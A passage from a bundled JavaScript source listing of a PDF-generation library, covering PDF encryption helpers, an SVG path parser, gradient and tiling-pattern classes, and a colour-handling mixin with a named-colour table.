options).ciphertext;\r\n}\r\n\r\nfunction getEncryptionKeyR5(generateRandomWordArray) {\r\n return generateRandomWordArray(32);\r\n}\r\n\r\nfunction getEncryptedPermissionsR5(\r\n permissions,\r\n encryptionKey,\r\n generateRandomWordArray\r\n) {\r\n const cipher = CryptoJS.lib.WordArray.create(\r\n [lsbFirstWord(permissions), 0xffffffff, 0x54616462],\r\n 12\r\n ).concat(generateRandomWordArray(4));\r\n const options = {\r\n mode: CryptoJS.mode.ECB,\r\n padding: CryptoJS.pad.NoPadding\r\n };\r\n return CryptoJS.AES.encrypt(cipher, encryptionKey, options).ciphertext;\r\n}\r\n\r\nfunction processPasswordR2R3R4(password = '') {\r\n const out = Buffer.alloc(32);\r\n const length = password.length;\r\n let index = 0;\r\n while (index < length && index < 32) {\r\n const code = password.charCodeAt(index);\r\n if (code > 0xff) {\r\n throw new Error('Password contains one or more invalid characters.');\r\n }\r\n out[index] = code;\r\n index++;\r\n }\r\n while (index < 32) {\r\n out[index] = PASSWORD_PADDING[index - length];\r\n index++;\r\n }\r\n return CryptoJS.lib.WordArray.create(out);\r\n}\r\n\r\nfunction processPasswordR5(password = '') {\r\n password = unescape(encodeURIComponent(saslprep(password)));\r\n const length = Math.min(127, password.length);\r\n const out = Buffer.alloc(length);\r\n\r\n for (let i = 0; i < length; i++) {\r\n out[i] = password.charCodeAt(i);\r\n }\r\n\r\n return CryptoJS.lib.WordArray.create(out);\r\n}\r\n\r\nfunction lsbFirstWord(data) {\r\n return (\r\n ((data & 0xff) << 24) |\r\n ((data & 0xff00) << 8) |\r\n ((data >> 8) & 0xff00) |\r\n ((data >> 24) & 0xff)\r\n );\r\n}\r\n\r\nfunction wordArrayToBuffer(wordArray) {\r\n const byteArray = [];\r\n for (let i = 0; i < wordArray.sigBytes; i++) {\r\n byteArray.push(\r\n (wordArray.words[Math.floor(i / 4)] >> (8 * (3 - (i % 4)))) & 0xff\r\n );\r\n }\r\n return Buffer.from(byteArray);\r\n}\r\n\r\nconst PASSWORD_PADDING = [\r\n 0x28,\r\n 0xbf,\r\n 0x4e,\r\n 0x5e,\r\n 0x4e,\r\n 0x75,\r\n 0x8a,\r\n 0x41,\r\n 0x64,\r\n 0x00,\r\n 0x4e,\r\n 0x56,\r\n 0xff,\r\n 0xfa,\r\n 0x01,\r\n 0x08,\r\n 0x2e,\r\n 0x2e,\r\n 0x00,\r\n 0xb6,\r\n 0xd0,\r\n 0x68,\r\n 0x3e,\r\n 0x80,\r\n 0x2f,\r\n 0x0c,\r\n 0xa9,\r\n 0xfe,\r\n 0x64,\r\n 0x53,\r\n 0x69,\r\n 0x7a\r\n];\r\n\r\nexport default PDFSecurity;\r\n","let cx, cy, px, py, sx, sy;\r\n\r\ncx = cy = px = py = sx = sy = 0;\r\n\r\nconst parameters = {\r\n A: 7,\r\n a: 7,\r\n C: 6,\r\n c: 6,\r\n H: 1,\r\n h: 1,\r\n L: 2,\r\n l: 2,\r\n M: 2,\r\n m: 2,\r\n Q: 4,\r\n q: 4,\r\n S: 4,\r\n s: 4,\r\n T: 2,\r\n t: 2,\r\n V: 1,\r\n v: 1,\r\n Z: 0,\r\n z: 0\r\n};\r\n\r\nconst parse = function(path) {\r\n let cmd;\r\n const ret = [];\r\n let args = [];\r\n let curArg = '';\r\n let foundDecimal = false;\r\n let params = 0;\r\n\r\n for (let c of path) {\r\n if (parameters[c] != null) {\r\n params = parameters[c];\r\n if (cmd) {\r\n // save existing command\r\n if (curArg.length > 0) {\r\n args[args.length] = +curArg;\r\n }\r\n ret[ret.length] = { cmd, args };\r\n\r\n args = [];\r\n curArg = '';\r\n foundDecimal = false;\r\n }\r\n\r\n cmd = c;\r\n } else if (\r\n [' ', ','].includes(c) ||\r\n (c === '-' && curArg.length > 0 && curArg[curArg.length - 1] !== 'e') ||\r\n (c === '.' && foundDecimal)\r\n ) {\r\n if (curArg.length === 0) {\r\n continue;\r\n }\r\n\r\n if (args.length === params) {\r\n // handle reused commands\r\n ret[ret.length] = { cmd, args };\r\n args = [+curArg];\r\n\r\n // handle assumed commands\r\n if (cmd === 'M') {\r\n cmd = 'L';\r\n }\r\n if (cmd === 'm') {\r\n cmd = 'l';\r\n }\r\n } else {\r\n args[args.length] = +curArg;\r\n }\r\n\r\n foundDecimal = c === '.';\r\n\r\n // fix for negative numbers or repeated decimals with no delimeter between commands\r\n curArg = ['-', '.'].includes(c) ? c : '';\r\n } else {\r\n curArg += c;\r\n if (c === '.') {\r\n foundDecimal = true;\r\n }\r\n }\r\n }\r\n\r\n // add the last command\r\n if (curArg.length > 0) {\r\n if (args.length === params) {\r\n // handle reused commands\r\n ret[ret.length] = { cmd, args };\r\n args = [+curArg];\r\n\r\n // handle assumed commands\r\n if (cmd === 'M') {\r\n cmd = 'L';\r\n }\r\n if (cmd === 'm') {\r\n cmd = 'l';\r\n }\r\n } else {\r\n args[args.length] = +curArg;\r\n }\r\n }\r\n\r\n ret[ret.length] = { cmd, args };\r\n\r\n return ret;\r\n};\r\n\r\nconst apply = function(commands, doc) {\r\n // current point, control point, and subpath starting point\r\n cx = cy = px = py = sx = sy = 0;\r\n\r\n // run the commands\r\n for (let i = 0; i < commands.length; i++) {\r\n const c = commands[i];\r\n if (typeof runners[c.cmd] === 'function') {\r\n runners[c.cmd](doc, c.args);\r\n }\r\n }\r\n};\r\n\r\nconst runners = {\r\n M(doc, a) {\r\n cx = a[0];\r\n cy = a[1];\r\n px = py = null;\r\n sx = cx;\r\n sy = cy;\r\n return doc.moveTo(cx, cy);\r\n },\r\n\r\n m(doc, a) {\r\n cx += a[0];\r\n cy += a[1];\r\n px = py = null;\r\n sx = cx;\r\n sy = cy;\r\n return doc.moveTo(cx, cy);\r\n },\r\n\r\n C(doc, a) {\r\n cx = a[4];\r\n cy = a[5];\r\n px = a[2];\r\n py = a[3];\r\n return doc.bezierCurveTo(...a);\r\n },\r\n\r\n c(doc, a) {\r\n doc.bezierCurveTo(\r\n a[0] + cx,\r\n a[1] + cy,\r\n a[2] + cx,\r\n a[3] + cy,\r\n a[4] + cx,\r\n a[5] + cy\r\n );\r\n px = cx + a[2];\r\n py = cy + a[3];\r\n cx += a[4];\r\n return (cy += a[5]);\r\n },\r\n\r\n S(doc, a) {\r\n if (px === null) {\r\n px = cx;\r\n py = cy;\r\n }\r\n\r\n doc.bezierCurveTo(cx - (px - cx), cy - (py - cy), a[0], a[1], a[2], a[3]);\r\n px = a[0];\r\n py = a[1];\r\n cx = a[2];\r\n return (cy = a[3]);\r\n },\r\n\r\n s(doc, a) {\r\n if (px === null) {\r\n px = cx;\r\n py = cy;\r\n }\r\n\r\n doc.bezierCurveTo(\r\n cx - (px - cx),\r\n cy - (py - cy),\r\n cx + a[0],\r\n cy + a[1],\r\n cx + a[2],\r\n cy + a[3]\r\n );\r\n px = cx + a[0];\r\n py = cy + a[1];\r\n cx += a[2];\r\n return (cy += a[3]);\r\n },\r\n\r\n Q(doc, a) {\r\n px = a[0];\r\n py = a[1];\r\n cx = a[2];\r\n cy = a[3];\r\n return doc.quadraticCurveTo(a[0], a[1], cx, cy);\r\n },\r\n\r\n q(doc, a) {\r\n doc.quadraticCurveTo(a[0] + cx, a[1] + cy, a[2] + cx, a[3] + cy);\r\n px = cx + a[0];\r\n py = cy + a[1];\r\n cx += a[2];\r\n return (cy += a[3]);\r\n },\r\n\r\n T(doc, a) {\r\n if (px === null) {\r\n px = cx;\r\n py = cy;\r\n } else {\r\n px = cx - (px - cx);\r\n py = cy - (py - cy);\r\n }\r\n\r\n doc.quadraticCurveTo(px, py, a[0], a[1]);\r\n px = cx - (px - cx);\r\n py = cy - (py - cy);\r\n cx = a[0];\r\n return (cy = a[1]);\r\n },\r\n\r\n t(doc, a) {\r\n if (px === null) {\r\n px = cx;\r\n py = cy;\r\n } else {\r\n px = cx - (px - cx);\r\n py = cy - (py - cy);\r\n }\r\n\r\n doc.quadraticCurveTo(px, py, cx + a[0], cy + a[1]);\r\n cx += a[0];\r\n return (cy += a[1]);\r\n },\r\n\r\n A(doc, a) {\r\n solveArc(doc, cx, cy, a);\r\n cx = a[5];\r\n return (cy = a[6]);\r\n },\r\n\r\n a(doc, a) {\r\n a[5] += cx;\r\n a[6] += cy;\r\n solveArc(doc, cx, cy, a);\r\n cx = a[5];\r\n return (cy = a[6]);\r\n },\r\n\r\n L(doc, a) {\r\n cx = a[0];\r\n cy = a[1];\r\n px = py = null;\r\n return doc.lineTo(cx, cy);\r\n },\r\n\r\n l(doc, a) {\r\n cx += a[0];\r\n cy += a[1];\r\n px = py = null;\r\n return doc.lineTo(cx, cy);\r\n },\r\n\r\n H(doc, a) {\r\n cx = a[0];\r\n px = py = null;\r\n return doc.lineTo(cx, cy);\r\n },\r\n\r\n h(doc, a) {\r\n cx += a[0];\r\n px = py = null;\r\n return doc.lineTo(cx, cy);\r\n },\r\n\r\n V(doc, a) {\r\n cy = a[0];\r\n px = py = null;\r\n return doc.lineTo(cx, cy);\r\n },\r\n\r\n v(doc, a) {\r\n cy += a[0];\r\n px = py = null;\r\n return doc.lineTo(cx, cy);\r\n },\r\n\r\n Z(doc) {\r\n doc.closePath();\r\n cx = sx;\r\n return (cy = sy);\r\n },\r\n\r\n z(doc) {\r\n doc.closePath();\r\n cx = sx;\r\n return (cy = sy);\r\n }\r\n};\r\n\r\nconst solveArc = function(doc, x, y, coords) {\r\n const [rx, ry, rot, large, sweep, ex, ey] = coords;\r\n const segs = arcToSegments(ex, ey, rx, ry, large, sweep, rot, x, y);\r\n\r\n for (let seg of segs) {\r\n const bez = segmentToBezier(...seg);\r\n doc.bezierCurveTo(...bez);\r\n }\r\n};\r\n\r\n// from Inkscape svgtopdf, thanks!\r\nconst arcToSegments = function(x, y, rx, ry, large, sweep, rotateX, ox, oy) {\r\n const th = rotateX * (Math.PI / 180);\r\n const sin_th = Math.sin(th);\r\n const cos_th = Math.cos(th);\r\n rx = Math.abs(rx);\r\n ry = Math.abs(ry);\r\n px = cos_th * (ox - x) * 0.5 + sin_th * (oy - y) * 0.5;\r\n py = cos_th * (oy - y) * 0.5 - sin_th * (ox - x) * 0.5;\r\n let pl = (px * px) / (rx * rx) + (py * py) / (ry * ry);\r\n if (pl > 1) {\r\n pl = Math.sqrt(pl);\r\n rx *= pl;\r\n ry *= pl;\r\n }\r\n\r\n const a00 = cos_th / rx;\r\n const a01 = sin_th / rx;\r\n const a10 = -sin_th / ry;\r\n const a11 = cos_th / ry;\r\n const x0 = a00 * ox + a01 * oy;\r\n const y0 = a10 * ox + a11 * oy;\r\n const x1 = a00 * x + a01 * y;\r\n const y1 = a10 * x + a11 * y;\r\n\r\n const d = (x1 - x0) * (x1 - x0) + (y1 - y0) * (y1 - y0);\r\n let sfactor_sq = 1 / d - 0.25;\r\n if (sfactor_sq < 0) {\r\n sfactor_sq = 0;\r\n }\r\n let sfactor = Math.sqrt(sfactor_sq);\r\n if (sweep === large) {\r\n sfactor = -sfactor;\r\n }\r\n\r\n const xc = 0.5 * (x0 + x1) - sfactor * (y1 - y0);\r\n const yc = 0.5 * (y0 + y1) + sfactor * (x1 - x0);\r\n\r\n const th0 = Math.atan2(y0 - yc, x0 - xc);\r\n const th1 = Math.atan2(y1 - yc, x1 - xc);\r\n\r\n let th_arc = th1 - th0;\r\n if (th_arc < 0 && sweep === 1) {\r\n th_arc += 2 * Math.PI;\r\n } else if (th_arc > 0 && sweep === 0) {\r\n th_arc -= 2 * Math.PI;\r\n }\r\n\r\n const segments = Math.ceil(Math.abs(th_arc / (Math.PI * 0.5 + 0.001)));\r\n const result = [];\r\n\r\n for (let i = 0; i < segments; i++) {\r\n const th2 = th0 + (i * th_arc) / segments;\r\n const th3 = th0 + ((i + 1) * th_arc) / segments;\r\n result[i] = [xc, yc, th2, th3, rx, ry, sin_th, cos_th];\r\n }\r\n\r\n return result;\r\n};\r\n\r\nconst segmentToBezier = function(cx, cy, th0, th1, rx, ry, sin_th, cos_th) {\r\n const a00 = cos_th * rx;\r\n const a01 = -sin_th * ry;\r\n const a10 = sin_th * rx;\r\n const a11 = cos_th * ry;\r\n\r\n const th_half = 0.5 * (th1 - th0);\r\n const t =\r\n ((8 / 3) * Math.sin(th_half * 0.5) * Math.sin(th_half * 0.5)) /\r\n Math.sin(th_half);\r\n const x1 = cx + Math.cos(th0) - t * Math.sin(th0);\r\n const y1 = cy + Math.sin(th0) + t * Math.cos(th0);\r\n const x3 = cx + Math.cos(th1);\r\n const y3 = cy + Math.sin(th1);\r\n const x2 = x3 + t * Math.sin(th1);\r\n const y2 = y3 - t * Math.cos(th1);\r\n\r\n return [\r\n a00 * x1 + a01 * y1,\r\n a10 * x1 + a11 * y1,\r\n a00 * x2 + a01 * y2,\r\n a10 * x2 + a11 * y2,\r\n a00 * x3 + a01 * y3,\r\n a10 * x3 + a11 * y3\r\n ];\r\n};\r\n\r\nclass SVGPath {\r\n static apply(doc, path) {\r\n const commands = parse(path);\r\n apply(commands, doc);\r\n }\r\n}\r\n\r\nexport default SVGPath;\r\n","import PDFObject from './object';\r\n\r\nconst { number } = PDFObject;\r\n\r\nclass PDFGradient {\r\n constructor(doc) {\r\n this.doc = doc;\r\n this.stops = [];\r\n this.embedded = false;\r\n this.transform = [1, 0, 0, 1, 0, 0];\r\n }\r\n\r\n stop(pos, color, opacity) {\r\n if (opacity == null) {\r\n opacity = 1;\r\n }\r\n color = this.doc._normalizeColor(color);\r\n\r\n if (this.stops.length === 0) {\r\n if (color.length === 3) {\r\n this._colorSpace = 'DeviceRGB';\r\n } else if (color.length === 4) {\r\n this._colorSpace = 'DeviceCMYK';\r\n } else if (color.length === 1) {\r\n this._colorSpace = 'DeviceGray';\r\n } else {\r\n throw new Error('Unknown color space');\r\n }\r\n } else if (\r\n (this._colorSpace === 'DeviceRGB' && color.length !== 3) ||\r\n (this._colorSpace === 'DeviceCMYK' && color.length !== 4) ||\r\n (this._colorSpace === 'DeviceGray' && color.length !== 1)\r\n ) {\r\n throw new Error('All gradient stops must use the same color space');\r\n }\r\n\r\n opacity = Math.max(0, Math.min(1, opacity));\r\n this.stops.push([pos, color, opacity]);\r\n return this;\r\n }\r\n\r\n setTransform(m11, m12, m21, m22, dx, dy) {\r\n this.transform = [m11, m12, m21, m22, dx, dy];\r\n return this;\r\n }\r\n\r\n embed(m) {\r\n let fn;\r\n const stopsLength = this.stops.length;\r\n if (stopsLength === 0) {\r\n return;\r\n }\r\n this.embedded = true;\r\n this.matrix = m;\r\n\r\n // if the last stop comes before 100%, add a copy at 100%\r\n const last = this.stops[stopsLength - 1];\r\n if (last[0] < 1) {\r\n this.stops.push([1, last[1], last[2]]);\r\n }\r\n\r\n const bounds = [];\r\n const encode = [];\r\n const stops = [];\r\n\r\n for (let i = 0; i < stopsLength - 1; i++) {\r\n encode.push(0, 1);\r\n if (i + 2 !== stopsLength) {\r\n bounds.push(this.stops[i + 1][0]);\r\n }\r\n\r\n fn = this.doc.ref({\r\n FunctionType: 2,\r\n Domain: [0, 1],\r\n C0: this.stops[i + 0][1],\r\n C1: this.stops[i + 1][1],\r\n N: 1\r\n });\r\n\r\n stops.push(fn);\r\n fn.end();\r\n }\r\n\r\n // if there are only two stops, we don't need a stitching function\r\n if (stopsLength === 1) {\r\n fn = stops[0];\r\n } else {\r\n fn = this.doc.ref({\r\n FunctionType: 3, // stitching function\r\n Domain: [0, 1],\r\n Functions: stops,\r\n Bounds: bounds,\r\n Encode: encode\r\n });\r\n\r\n fn.end();\r\n }\r\n\r\n this.id = `Sh${++this.doc._gradCount}`;\r\n\r\n const shader = this.shader(fn);\r\n shader.end();\r\n\r\n const pattern = this.doc.ref({\r\n Type: 'Pattern',\r\n PatternType: 2,\r\n Shading: shader,\r\n Matrix: this.matrix.map(number)\r\n });\r\n\r\n pattern.end();\r\n\r\n if (this.stops.some(stop => stop[2] < 1)) {\r\n let grad = this.opacityGradient();\r\n grad._colorSpace = 'DeviceGray';\r\n\r\n for (let stop of this.stops) {\r\n grad.stop(stop[0], [stop[2]]);\r\n }\r\n\r\n grad = grad.embed(this.matrix);\r\n\r\n const pageBBox = [0, 0, this.doc.page.width, this.doc.page.height];\r\n\r\n const form = this.doc.ref({\r\n Type: 'XObject',\r\n Subtype: 'Form',\r\n FormType: 1,\r\n BBox: pageBBox,\r\n Group: {\r\n Type: 'Group',\r\n S: 'Transparency',\r\n CS: 'DeviceGray'\r\n },\r\n Resources: {\r\n ProcSet: ['PDF', 'Text', 'ImageB', 'ImageC', 'ImageI'],\r\n Pattern: {\r\n Sh1: grad\r\n }\r\n }\r\n });\r\n\r\n form.write('/Pattern cs /Sh1 scn');\r\n form.end(`${pageBBox.join(' ')} re f`);\r\n\r\n const gstate = this.doc.ref({\r\n Type: 'ExtGState',\r\n SMask: {\r\n Type: 'Mask',\r\n S: 'Luminosity',\r\n G: form\r\n }\r\n });\r\n\r\n gstate.end();\r\n\r\n const opacityPattern = this.doc.ref({\r\n Type: 'Pattern',\r\n PatternType: 1,\r\n PaintType: 1,\r\n TilingType: 2,\r\n BBox: pageBBox,\r\n XStep: pageBBox[2],\r\n YStep: pageBBox[3],\r\n Resources: {\r\n ProcSet: ['PDF', 'Text', 'ImageB', 'ImageC', 'ImageI'],\r\n Pattern: {\r\n Sh1: pattern\r\n },\r\n ExtGState: {\r\n Gs1: gstate\r\n }\r\n }\r\n });\r\n\r\n opacityPattern.write('/Gs1 gs /Pattern cs /Sh1 scn');\r\n opacityPattern.end(`${pageBBox.join(' ')} re f`);\r\n\r\n this.doc.page.patterns[this.id] = opacityPattern;\r\n } else {\r\n this.doc.page.patterns[this.id] = pattern;\r\n }\r\n\r\n return pattern;\r\n }\r\n\r\n apply(stroke) {\r\n // apply gradient transform to existing document ctm\r\n const [m0, m1, m2, m3, m4, m5] = this.doc._ctm;\r\n const [m11, m12, m21, m22, dx, dy] = this.transform;\r\n const m = [\r\n m0 * m11 + m2 * m12,\r\n m1 * m11 + m3 * m12,\r\n m0 * m21 + m2 * m22,\r\n m1 * m21 + m3 * m22,\r\n m0 * dx + m2 * dy + m4,\r\n m1 * dx + m3 * dy + m5\r\n ];\r\n\r\n if (!this.embedded || m.join(' ') !== this.matrix.join(' ')) {\r\n this.embed(m);\r\n }\r\n this.doc._setColorSpace('Pattern', stroke);\r\n const op = stroke ? 'SCN' : 'scn';\r\n return this.doc.addContent(`/${this.id} ${op}`);\r\n }\r\n}\r\n\r\nclass PDFLinearGradient extends PDFGradient {\r\n constructor(doc, x1, y1, x2, y2) {\r\n super(doc);\r\n this.x1 = x1;\r\n this.y1 = y1;\r\n this.x2 = x2;\r\n this.y2 = y2;\r\n }\r\n\r\n shader(fn) {\r\n return this.doc.ref({\r\n ShadingType: 2,\r\n ColorSpace: this._colorSpace,\r\n Coords: [this.x1, this.y1, this.x2, this.y2],\r\n Function: fn,\r\n Extend: [true, true]\r\n });\r\n }\r\n\r\n opacityGradient() {\r\n return new PDFLinearGradient(this.doc, this.x1, this.y1, this.x2, this.y2);\r\n }\r\n}\r\n\r\nclass PDFRadialGradient extends PDFGradient {\r\n constructor(doc, x1, y1, r1, x2, y2, r2) {\r\n super(doc);\r\n this.doc = doc;\r\n this.x1 = x1;\r\n this.y1 = y1;\r\n this.r1 = r1;\r\n this.x2 = x2;\r\n this.y2 = y2;\r\n this.r2 = r2;\r\n }\r\n\r\n shader(fn) {\r\n return this.doc.ref({\r\n ShadingType: 3,\r\n ColorSpace: this._colorSpace,\r\n Coords: [this.x1, this.y1, this.r1, this.x2, this.y2, this.r2],\r\n Function: fn,\r\n Extend: [true, true]\r\n });\r\n }\r\n\r\n opacityGradient() {\r\n return new PDFRadialGradient(\r\n this.doc,\r\n this.x1,\r\n this.y1,\r\n this.r1,\r\n this.x2,\r\n this.y2,\r\n this.r2\r\n );\r\n }\r\n}\r\n\r\nexport default { PDFGradient, PDFLinearGradient, PDFRadialGradient };\r\n","/*\r\nPDF tiling pattern support. Uncolored only.\r\n */\r\n\r\nconst underlyingColorSpaces = ['DeviceCMYK', 'DeviceRGB'];\r\n\r\nclass PDFTilingPattern {\r\n constructor(doc, bBox, xStep, yStep, stream) {\r\n this.doc = doc;\r\n this.bBox = bBox;\r\n this.xStep = xStep;\r\n this.yStep = yStep;\r\n this.stream = stream;\r\n }\r\n\r\n createPattern() {\r\n // no resources needed for our current usage\r\n // required entry\r\n const resources = this.doc.ref();\r\n resources.end();\r\n // apply default transform matrix (flipped in the default doc._ctm)\r\n // see document.js & gradient.js\r\n const [m0, m1, m2, m3, m4, m5] = this.doc._ctm;\r\n const [m11, m12, m21, m22, dx, dy] = [1, 0, 0, 1, 0, 0];\r\n const m = [\r\n m0 * m11 + m2 * m12,\r\n m1 * m11 + m3 * m12,\r\n m0 * m21 + m2 * m22,\r\n m1 * m21 + m3 * m22,\r\n m0 * dx + m2 * dy + m4,\r\n m1 * dx + m3 * dy + m5\r\n ];\r\n const pattern = this.doc.ref({\r\n Type: 'Pattern',\r\n PatternType: 1, // tiling\r\n PaintType: 2, // 1-colored, 2-uncolored\r\n TilingType: 2, // 2-no distortion\r\n BBox: this.bBox,\r\n XStep: this.xStep,\r\n YStep: this.yStep,\r\n Matrix: m.map(v => +v.toFixed(5)),\r\n Resources: resources\r\n });\r\n pattern.end(this.stream);\r\n return pattern;\r\n }\r\n\r\n embedPatternColorSpaces() {\r\n // map each pattern to an underlying color space\r\n // and embed on each page\r\n underlyingColorSpaces.forEach(csName => {\r\n const csId = this.getPatternColorSpaceId(csName);\r\n\r\n if (this.doc.page.colorSpaces[csId]) return;\r\n const cs = this.doc.ref(['Pattern', csName]);\r\n cs.end();\r\n this.doc.page.colorSpaces[csId] = cs;\r\n });\r\n }\r\n\r\n getPatternColorSpaceId(underlyingColorspace) {\r\n return `CsP${underlyingColorspace}`;\r\n }\r\n\r\n embed() {\r\n if (!this.id) {\r\n this.doc._patternCount = this.doc._patternCount + 1;\r\n this.id = 'P' + this.doc._patternCount;\r\n this.pattern = this.createPattern();\r\n }\r\n\r\n // patterns are embedded in each page\r\n if (!this.doc.page.patterns[this.id]) {\r\n this.doc.page.patterns[this.id] = this.pattern;\r\n }\r\n }\r\n\r\n apply(stroke, patternColor) {\r\n // do any embedding/creating that might be needed\r\n this.embedPatternColorSpaces();\r\n this.embed();\r\n\r\n const normalizedColor = this.doc._normalizeColor(patternColor);\r\n if (!normalizedColor)\r\n throw Error(`invalid pattern color. (value: ${patternColor})`);\r\n\r\n // select one of the pattern color spaces\r\n const csId = this.getPatternColorSpaceId(\r\n this.doc._getColorSpace(normalizedColor)\r\n );\r\n this.doc._setColorSpace(csId, stroke);\r\n\r\n // stroke/fill using the pattern and color (in the above underlying color space)\r\n const op = stroke ? 'SCN' : 'scn';\r\n return this.doc.addContent(\r\n `${normalizedColor.join(' ')} /${this.id} ${op}`\r\n );\r\n }\r\n}\r\n\r\nexport default { PDFTilingPattern };\r\n","import Gradient from '../gradient';\r\nimport pattern from '../pattern';\r\n\r\nconst { PDFGradient, PDFLinearGradient, PDFRadialGradient } = Gradient;\r\nconst { PDFTilingPattern } = pattern;\r\n\r\nexport default {\r\n initColor() {\r\n // The opacity dictionaries\r\n this._opacityRegistry = {};\r\n this._opacityCount = 0;\r\n this._patternCount = 0;\r\n return (this._gradCount = 0);\r\n },\r\n\r\n _normalizeColor(color) {\r\n if (typeof color === 'string') {\r\n if (color.charAt(0) === '#') {\r\n if (color.length === 4) {\r\n color = color.replace(\r\n /#([0-9A-F])([0-9A-F])([0-9A-F])/i,\r\n '#$1$1$2$2$3$3'\r\n );\r\n }\r\n const hex = parseInt(color.slice(1), 16);\r\n color = [hex >> 16, (hex >> 8) & 0xff, hex & 0xff];\r\n } else if (namedColors[color]) {\r\n color = namedColors[color];\r\n }\r\n }\r\n\r\n if (Array.isArray(color)) {\r\n // RGB\r\n if (color.length === 3) {\r\n color = color.map(part => part / 255);\r\n // CMYK\r\n } else if (color.length === 4) {\r\n color = color.map(part => part / 100);\r\n }\r\n return color;\r\n }\r\n\r\n return null;\r\n },\r\n\r\n _setColor(color, stroke) {\r\n if (color instanceof PDFGradient) {\r\n color.apply(stroke);\r\n return true;\r\n // see if tiling pattern, decode & apply it it\r\n } else if (Array.isArray(color) && color[0] instanceof PDFTilingPattern) {\r\n color[0].apply(stroke, color[1]);\r\n return true;\r\n }\r\n // any other case should be a normal color and not a pattern\r\n return this._setColorCore(color, stroke);\r\n },\r\n\r\n _setColorCore(color, stroke) {\r\n color = this._normalizeColor(color);\r\n if (!color) {\r\n return false;\r\n }\r\n\r\n const op = stroke ? 'SCN' : 'scn';\r\n const space = this._getColorSpace(color);\r\n this._setColorSpace(space, stroke);\r\n\r\n color = color.join(' ');\r\n this.addContent(`${color} ${op}`);\r\n\r\n return true;\r\n },\r\n\r\n _setColorSpace(space, stroke) {\r\n const op = stroke ? 'CS' : 'cs';\r\n return this.addContent(`/${space} ${op}`);\r\n },\r\n\r\n _getColorSpace(color) {\r\n return color.length === 4 ? 'DeviceCMYK' : 'DeviceRGB';\r\n },\r\n\r\n fillColor(color, opacity) {\r\n const set = this._setColor(color, false);\r\n if (set) {\r\n this.fillOpacity(opacity);\r\n }\r\n\r\n // save this for text wrapper, which needs to reset\r\n // the fill color on new pages\r\n this._fillColor = [color, opacity];\r\n return this;\r\n },\r\n\r\n strokeColor(color, opacity) {\r\n const set = this._setColor(color, true);\r\n if (set) {\r\n this.strokeOpacity(opacity);\r\n }\r\n return this;\r\n },\r\n\r\n opacity(opacity) {\r\n this._doOpacity(opacity, opacity);\r\n return this;\r\n },\r\n\r\n fillOpacity(opacity) {\r\n this._doOpacity(opacity, null);\r\n return this;\r\n },\r\n\r\n strokeOpacity(opacity) {\r\n this._doOpacity(null, opacity);\r\n return this;\r\n },\r\n\r\n _doOpacity(fillOpacity, strokeOpacity) {\r\n let dictionary, name;\r\n if (fillOpacity == null && strokeOpacity == null) {\r\n return;\r\n }\r\n\r\n if (fillOpacity != null) {\r\n fillOpacity = Math.max(0, Math.min(1, fillOpacity));\r\n }\r\n if (strokeOpacity != null) {\r\n strokeOpacity = Math.max(0, Math.min(1, strokeOpacity));\r\n }\r\n const key = `${fillOpacity}_${strokeOpacity}`;\r\n\r\n if (this._opacityRegistry[key]) {\r\n [dictionary, name] = this._opacityRegistry[key];\r\n } else {\r\n dictionary = { Type: 'ExtGState' };\r\n\r\n if (fillOpacity != null) {\r\n dictionary.ca = fillOpacity;\r\n }\r\n if (strokeOpacity != null) {\r\n dictionary.CA = strokeOpacity;\r\n }\r\n\r\n dictionary = this.ref(dictionary);\r\n dictionary.end();\r\n const id = ++this._opacityCount;\r\n name = `Gs${id}`;\r\n this._opacityRegistry[key] = [dictionary, name];\r\n }\r\n\r\n this.page.ext_gstates[name] = dictionary;\r\n return this.addContent(`/${name} gs`);\r\n },\r\n\r\n linearGradient(x1, y1, x2, y2) {\r\n return new PDFLinearGradient(this, x1, y1, x2, y2);\r\n },\r\n\r\n radialGradient(x1, y1, r1, x2, y2, r2) {\r\n return new PDFRadialGradient(this, x1, y1, r1, x2, y2, r2);\r\n },\r\n\r\n pattern(bbox, xStep, yStep, stream) {\r\n return new PDFTilingPattern(this, bbox, xStep, yStep, stream);\r\n }\r\n};\r\n\r\nvar namedColors = {\r\n aliceblue: [240, 248, 255],\r\n antiquewhite: [250, 235, 215],\r\n aqua: [0, 255, 255],\r\n aquamarine: [127, 255, 212],\r\n azure: [240, 255, 255],\r\n beige: [245, 245, 220],\r\n bisque: [255, 228, 196],\r\n black: [0, 0, 0],\r\n blanchedalmond: [255, 235, 205],\r\n blue: [0, 0, 255],\r\n blueviolet: [138, 43, 226],\r\n brown: [165, 42, 42],\r\n burlywood: [222, 184, 135],\r\n cadetblue: [95, 158, 160],\r\n chartreuse: [127, 255, 0],\r\n chocolate: [210, 105, 30],\r\n coral: [255, 127, 80],\r\n cornflowerblue: [100, 149, 237],\r\n cornsilk: [255, 248, 220],\r\n crimson: [220, 20, 60],\r\n cyan: [0, 255, 255],\r\n darkblue: [0, 0, 139],\r\n darkcyan: [0, 139, 139],\r\n darkgoldenrod: [184, 134, 11],\r\n darkgray: [169, 169, 169],\r\n darkgreen: [0, 100, 0],\r\n darkgrey: [169, 169, 169],\r\n darkkhaki: [189, 183, 107],\r\n darkmagenta: [139, 0, 139],\r\n darkolivegreen: [85, 107, 47],\r\n darkorange: [255, 140, 0],\r\n darkorchid: [153, 50, 204],\r\n darkred: [139, 0, 0],\r\n darksalmon: [233, 150, 122],\r\n darkseagreen: [143, 188, 143],\r\n darkslateblue: [72, 61, 139],\r\n darkslategray: [47, 79, 79],\r\n darkslategrey: [47, 79, 79],\r\n darkturquoise: [0, 206, 209],\r\n darkviolet: [148, 0, 211],\r\n deeppink: [255, 20, 147],\r\n deepskyblue: [0, 191, 255],\r\n dimgray: [105, 105, 105],\r\n dimgrey: [105, 105, 105],\r\n dodgerblue: [30, 144, 255],\r\n firebrick: [178, 34, 34],\r\n floralwhite: [255, 250, 240],\r\n forestgreen: [34, 139, 34],\r\n fuchsia: [255, 0, 255],\r\n gainsboro: [220, 220, 220],\r\n ghostwhite: [248, 248, 255],\r\n gold: [255, 215, 0],\r\n goldenrod: [218, 165, 32],\r\n gray: [128, 128, 128],\r\n grey: [128, 128, 128],\r\n green: [0, 128, 0],\r\n greenyellow: [173, 255, 47],\r\n honeydew: [240, 255, 240],\r\n hotpink: [255, 105, 180],\r\n indianred: [205, 92, 92],\r\n indigo: [75, 0, 130],\r\n ivory: [255, 255, 240],\r\n khaki: [240, 230, 140],\r\n lavender: [230, 230, 250],\r\n lavenderblush: [255, 240, 245],\r\n lawngreen: [124, 252, 0],\r\n lemonchiffon: [255, 250, 205],\r\n lightblue: [173, 216, 